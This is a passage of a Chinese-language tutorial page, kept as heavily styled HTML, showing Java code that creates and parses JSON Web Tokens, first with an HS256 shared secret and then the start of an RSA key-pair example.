<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Date exp </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Date</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">expMillis</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">生成</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">JWT</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String token </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">builder</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setId</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">id</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setIssuer</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"issuer"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setSubject</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"subject"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setIssuedAt</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">now</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setExpiration</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">exp</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">signWith</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">SignatureAlgorithm</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">HS256</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> SECRET_KEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">compact</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">return</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> String parseJWT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">String token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">验证</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">JWT</span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">是否合法</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String result </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">""</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">try</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>result </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">parser</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setSigningKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">SECRET_KEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">parseClaimsJws</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getBody</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getId</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">catch</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">Exception e</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>e</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">printStackTrace</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">return</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> result</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">下面是一个使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和非对称密钥的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Java</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">示例代码,代码中使用了</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RSA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">算法生成非对称密钥对:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> io.jsonwebtoken.Claims</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> io.jsonwebtoken.Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> io.jsonwebtoken.SignatureAlgorithm</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> io.jsonwebtoken.security.Keys</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> java.security.KeyPair</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> java.security.KeyPairGenerator</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> java.security.NoSuchAlgorithmException</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> java.security.PrivateKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> java.security.PublicKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> java.util.Date</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">class</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWTExample </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">private</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">final</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> String ISSUER </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"example.com"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">private</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">final</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> String SUBJECT </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"user@example.com"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">void</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> main</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">String</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> args</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">throws</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Exception </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>KeyPair keyPair </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> generateKeyPair</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String token </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> createJWT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">ISSUER</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> SUBJECT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> keyPair</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getPrivate</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">());</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>System</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">out</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">println</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Claims claims </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> parseJWT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> keyPair</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getPublic</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">());</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>System</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">out</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">println</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">claims</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getIssuer</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">());</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
